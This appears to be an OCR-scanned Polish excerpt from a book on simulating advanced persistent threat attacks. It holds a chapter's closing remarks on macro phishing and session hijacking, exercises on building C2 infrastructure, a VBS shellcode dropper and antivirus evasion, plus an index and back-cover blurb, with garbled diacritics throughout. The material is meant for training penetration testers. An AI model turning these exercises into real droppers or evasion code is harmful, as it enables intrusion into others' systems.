ubiegtego wieku, ktéra dawno odeszla juz do lamusa. W rzeczywistosci jednak makra wciaz s zywe,
tylko po prostu przez pewien czas istnialy fatwiejsze sposoby na dostanie si¢ do docelowych kom-
puteréw niz postugiwanie si¢ makrami (lepiej byto na przyktad wykorzysta¢ technologie Adobe
Flash). W miare jak takie ataki coraz rzadziej konczg si¢ powodzeniem, na nowo mozna zauwazy¢
odrodzenie popularnosci makr Office’a.

Jaki jest morat z tego rozdziatu? Po pierwsze: makra — kiedy ostatni raz widziale$ takie, bez
ktérego nie byle§ w stanie wykona¢ swojej pracy? Jesli kto§ probuje na wszelkie sposoby zachecié
Cie do klikniecia tego przycisku z napisem Wigcz, to prawdopodobnie ma niecne zamiary. W ogéle
makra s3 podejrzane. Zwrotny adres e-mail nie jest Zadng wskazéwka na temat tozsamosci nadawcy.

Dwuetapowe uwierzytelnianie podnosi poprzeczke, ale nie na tyle, aby nie dato sie jej przeskoczy¢.
Bez wzgledu na rodzaj drugiej metody uwierzytelniania (moze to by¢ na przyktad karta kodéw albo
przesylanie hasta w SMS-ie) rezultat jest taki sam jak w przypadku zastosowania uwierzytelniania
jednoskiadnikowego: zostaje utworzona bezstanowa sesja HTTP, ktéra mozna przejaé poprzez
przechwycenie ciasteczek albo stosujac atak typu czlowiek posrodku. Koniecznie trzeba mie¢ sie na
bacznodci.

Opisane do tej pory przypadki sa zmyslone i proste, poniewaz chcialem na ich przykladzie jak
najbardziej obrazowo przedstawi¢ podstawowe pojecia i koncepcje. W kolejnych rozdziatach bedzie
coraz trudniej, poniewaz przechodze w nich do bardziej zaawansowanych metod ataku. Od tej po-
ry na pierwszym miejscu bezkompromisowo bedziemy stawia¢ dyskrecje — to jest najwazniejszy
warunek przeprowadzenia udanego ataku APT.

W nastepnym rozdziale pokaze Ci, jak rozbudowac¢ infrastrukture C2, aby spelniata bardziej re-
alistyczne funkcje, oraz przyjrzymy si¢ sposobom wykorzystania apletow Javy do dyskretnego wy-
sylania tadunkéw kodu na komputer ofiary.

Cwiczenia

W tym rozdziale opisalem wiele technologii, ktérych mozesz nie znaé. Dlatego zalecam bardzo
uwazne wykonanie ponizszych ¢wiczen, tak aby naby¢ pewnosci siebie w postugiwaniu si¢ opisa-
nymi narzedziami, cho¢ nie jest to absolutnie niezbedne, aby przejs¢ do nastepnego rozdziatu.
1. Zaimplementuj opisang w tym rozdziale infrastrukture C2 przy uzyciu biblioteki libssh
ijezyka programowania C. Ewentualnie uzyj jakiejkolwiek innej biblioteki i dowolnego
jezyka, ktore znasz.
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2. Zaimplementuj w jezyku VBS dropper C2 pobierajacy fadunek w postaci shellcode’u
zamiast pliku .exe i wstrzykujacy go bezpoérednio do pamigci. Uzyj wywolan API z pierwszego
skryptu VBA.

3. Zakladajac, ze nie ma innego sposobu niz przestanie fadunku jako shellcode’u w skrypcie
VBA, jak go zaciemnisz, wprowadzisz do pamigci po jednym bajcie, a nastepnie wykonasz?
Za pomoca serwisu VirusTotal i innych narzedzi sprawdz, jak programy antywirusowe
reaguja na Twoje rozwiazania.
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Gmail, Patrz: Gmail
hasta przechwytywanie, 149
PayPal, 200
transakcyjny, 75, 200
wykradanie, 149
emulator klawiatury, 197
exploit, 101, 104, 126
automatycznej instalacji systemu operacyjnego,
159, 163
CVE-2015-5122, 106
do lamania hasta, 78
lokalny, 101, 107, 159, 160, 163

F

fakt rozmyty, 208

Flash, 101, 103, 126, 244
wersja, 106

FTP, 136

funkcja
DAC, 229, 230
derywagji kluczy, 129
gery_pk_decrypt, 128
gery_pk_encrypt, 128
gery_pk_genkey, 128

Gmail, 146, 151
Google Play, 242

H

haker, 25
Hard Disk Firewall, 100, 112
harmonogram zadan, 159, 164, 165
hasto
odzyskiwanie, 118
przechwytywanie, 149, 150, 160
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skrot, 78,79, 114, 115, 118
bez soli, 118
szyfrowanie, 149
haszowanie, 128, 129
HIDS, 88
HTA, 203
HTMLS5, 220, 243

IDS, 88,110
hostowy, Patrz: NIDS
poziom zagrozenia, 91
sieciowy, Patrz: NIDS
InDesign, Patrz: Adobe InDesign
Indicator of Compromise, Patrz: IoC
informacja zrédla ogélnodostepne, Patrz: OSINT
infrastruktura dowodzenia i kontroli, Patrz: C2
instalator
Inno, 94
InstallShield, 94
interfejs
API, 242
Metasploita, 110
uzytkownika, 74
intranet, 241
intrusion detection system, Patrz: IDS
inzynieria
spoteczna, 22, 44, 57,92, 105, 195, 207, 223, 243
czytanie na zimno, 208
pochlebstwa, 210, 211
przypisywanie zdolnosci paranormalnych, 209
rozmyty fakt, 208
teczowy podstep, 210
twierdzenie Barnuma, 212
twierdzenie Jakuba, 211
wsteczna, 125
IoC, 24

Java, 57, 60, 103
aplet, Patrz: aplet
magazyn kluczy, 66
Java Web Start, Patrz: aplikacja JWS
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JavaScript, 104, 106

jezyk
Java, Patrz: Java
JavaScript, Patrz: JavaScript
PowerShell, 135
Python, 74
skryptowy, 40, 135
TCL, 91
VBA, Patrz: VBA
VBS, 40

John the Ripper, 115

kamer, 243
Kaminsky Dan, 86
Kane, 29
karta sieciowa, 198, 240
key logger, 49, 150, 189, 196
klawiatura emulator, 197
klucz, 127
derywacja, 129
deszyfrujacy, 126
generowanie zdalne, 127
prywatny, 127, 128
publicznego, 128
publiczny, 127, 128, 129
skrot, 133
skrét SHA, 127
kod
DLL wstrzykniecie, 49, 51
podpisywanie, 58, 59
samodzielny, 196, 203
uwierzytelniania wiadomosci, Patrz: MAC
zaciemnianie, 42, 137, 142
kontrola konta uzytkownika, Patrz: UAC
kradziez tozsamosci, 33
kryptografia, 127, 128, Patrz tez: szyfrowanie
asymetryczna, 127, 128
Klucz, 127, 128
prywatny, Patrz: kryptografia symetryczna
publiczny, Patrz: kryptografia asymetryczna
symetryczna, 128
krzywa eliptyczna, 129
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Lell Jakob, 197

LinkedIn, 105

lista zakupow, 120, 128, 205

luka bezpieczenistwa, 101, 104
Windows, 161, 163

L
fadunek, 41
C2, Patrz: C2 fadunek
atka, 161
M
MAGC, 129

makro VBA, 33, 34, 57, 81, 135, 146
automatyczne otwieranie, 40, 43
Manning Bradley, 192
Metasploit, 34, 101, 106, 108, 140
dzialanie, 113
keylogger, 150
modul nastuchujacy, 108
mozliwosci, 112
wywolanie zwrotne, 23
Microsoft Exchange, 149
Microsoft Outlook, 149, 198
mikrofon, 243
MitnickKevin, 25
mostek, 134
pasywny, 171, 184
Mudge Raphael, 110

napastnik, 25
narzedzie
BITSadmin, 137
Cron, 69
dnscat, 86
dnscat2, 86, 97
do przekazywania skrétow, 24
HashCat, 78
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jarsigner, 66
Masscan, 233
msfvenom, 34, 39
multimedialne, 207
OTX, 91
pkes12import, 66
PowerView, 76, 79, 115
pvkimprt, 66
Veil, 76
Veil Evasion, 140, 142
wiersza polecen, 62, 79, 137
NIDS, 88
NIPRNet, 201, 202
Nohl Karsten, 197

(0

ochrona domen e-mail, 65

onion router, Patrz: Tor

Open Source Intelligence, Patrz: OSINT
Open Threat Exchange, 131

operations security center, Patrz: SOC
OSINT, 126, 145

OzymanDNS, 86

pakiet
dnscat2/SSH, 93
ICMP, 85
pamie¢ USB, 194, 197
PayPal, 127
Pharmattix, 30, 32
phishing, 33, 198
Pietraszek Tadek, 86
pivoting, 111
plik
.class, 60, 61
.docm, 135, 147
.hta, 156, 157
jar, 60, 61, 65, 219
jnlp, 219
.msi, 159, 171
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.ost, 149 R
.pst, 149
CAD, 123,125, 143 ransomware, 101, 126, 128, 131
CNC, 125, 143 Raspberry Pi, 172

czyszczenie kryptograficzne, 129
danych gier, 129
DLL, Patrz: biblioteka DLL
dnscat.c, 94
hostname, 133
nadpisanie, 128, 129
PFX, 66
PFX/P12, 66
private_key, 133
PVK, 66
SPC, 66
sysprep.inf, 164
sysprep.xml, 164
torrc, 132, 134
unattended.xml, 164
VMDK, 232
XML, 219
podmiot zewnetrzny, 25
podstep teczowy, 210
polecenie
dig, 85, 86
ping, 84
su, 229
portTCP 9050, 134
Poulsen Kevin, 25
program
anywirusowy, 37, 38
Microsoft Endpoint Protection, 38
Qihoo-360, 43
rozruchowy infekowanie, 197
protokdt SSH;, 23, 78, 91
proxy SOCKS, 108
przegladarka, 101
Chrome, 150
Internet Explorer, 156
wtyczka, 101, 104
punkt dostepowy, 198, 199
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komunikacja z C2, 180
mostek, 184
system operacyjny, 174
zmiana adresu IP, 179
rejestru przeszukiwanie, 159, 170
rejestrator

naciskanych klawiszy, Patrz: key logger

Rolston Jake, 171
rootkit, 70
router
cebulowy, 131
Cisco, 91, 239

nieudana préba logowania, 88

rozpoznanie poziome, 22

S

Schneier Bruce, 33

Security Incident Event Management, Patrz: SIEM

Selenium, 57

SELinux, 229, 230
wylaczanie, 232

serwer
C2, Patrz: C2 serwer
proxy, 51, 52, 84, 108
sieciowy anonimowy, 132
SSH, 46
tinyhttpd, 74

serwis
skanowania wiruséow, 35
VirusTotal, 35, 37, 94

shellcode, 34, 35, 38, 39, 109
szyfrowanie, 109

sie¢ komdrkowa, 199, 203
KRLD, 236

SIEM, 89, 91

SIPRNet, 191, 201, 202

skaner antywirusowy, Patrz: program antywirusowy
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skrypt twierdzenie
FTP, 136 Barnuma, 212
SMTP, 75 Jakuba, 211
VBScript, 156, 158
WSH, 136 U
skrzynka creepera, 171, 172
SMS, 200 UAC, 114
sniffer, 149 uprawnienia
SOC. 89. 90. 97 administratora, 111, 114, 119, 159
Solid Edge, 144 eskalacja, 22, 114, 158, 205
SPF, 200 metody, 159, 160, 163, 164, 167, 170

stager, 62, 66
sterownik 3G/4G, 203
system
CNC, 123, 143
kontroli zmian, 95, 96, 97
operacyjny
Android, Patrz: Android
Red Star, 226, 230
Windows, Patrz: Windows
wykrywania nieautoryzowanego dostepu, Patrz: IDS
szpiegostwo gospodarcze, 124
szyfr
DSA, 128
RSA, 128

symetryczny, Patrz: kryptografia symetryczna
szyfrowanie, Patrz: kryptografia

T

Tailored Access Operations, 59
telekomunikacja pétnocnokoreanska, 235
test
aplikacji sieciowych, 57
heurystyczny, 39
penetracyjny, 23, 25
Toneloc, 237
Tor, 131, 132, 134
trojan BO2K, 29
tunelowanie
DNS, 86
SSH, 97, 108
Tor, 134
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Windows, 160, 164, 166, 167, 170

root, 229
User Account Control, Patrz: UAC
ustuga

chmurowa, 146

DNS, 86

podatna na ataki, 159

VolIP, 237

Windows, 166, 167
uwierzytelnianie

dwuetapowe, 33, 49

NTLM, 115

omijanie, 49
uzytkownik

hasto, Patrz: hasto

kontrola konta, Patrz: UAC

ochrona tozsamoéci, 131

Vv

VBA, 33
funkcja macierzysta, 40
makro, Patrz: makro VBA
Veil Evasion, Patrz: narzedzie Veil Evasion

w

war dialing, 237, 240

WarVOX, 238

wektor ataku, Patrz: atak wektor
WikiLeaks, 192

Windows Exploit Suggester, 161, 162
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Windows Scripting Host, 40, Patrz: WSH
Wireshark, 149

WSH, 136, 195

wybor lidera, 217

wywolanie zwrotne, 23

y 4

zapora sieciowa, 78
zapytanie DNS rekurencyjne, 86
zespOt infiltracji sieci NSA/GCHQ, 59
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zabezpieczonego systemu, a potem przeprowadza atak i uzyskuje
dostep do cennych zasobéw. Obrona przed takimi cyberprze-
stepcami jest stosunkowo prosta. Prawdziwe wyzwanie rzuca silnie
zmotywowany napastnik, ktéry jest znawca systemow i sprawnym
programista. Dzisiejsi administratorzy stoja w obliczu advanced
persistent threat (APT), co oznacza dostownie trwale zagrozenie
zaawansowanym atakiem.

Ta ksigzka jest znakomitym wprowadzeniem do zaawansowanych
technik forsowania dobrze zabezpieczonych srodowisk. Opisane tu
metody nie sg przedstawiane w zadnym poradniku ani na zadnych
szkoleniach. Autor skoncentrowat sie na modelowaniu atakéw APT
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oraz techniki atakéw w szerokim kontekécie rozmaitych dziedzin

i branz dziatalno$ci. Poza skutecznymi wektorami ataku przedy-
skutowano tak wazne koncepcje jak unikanie wykrycia szkodliwych
programéw, swiadomos$¢ sytuacyjna, eksploracja pozioma i wiele
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Wil Allsopp
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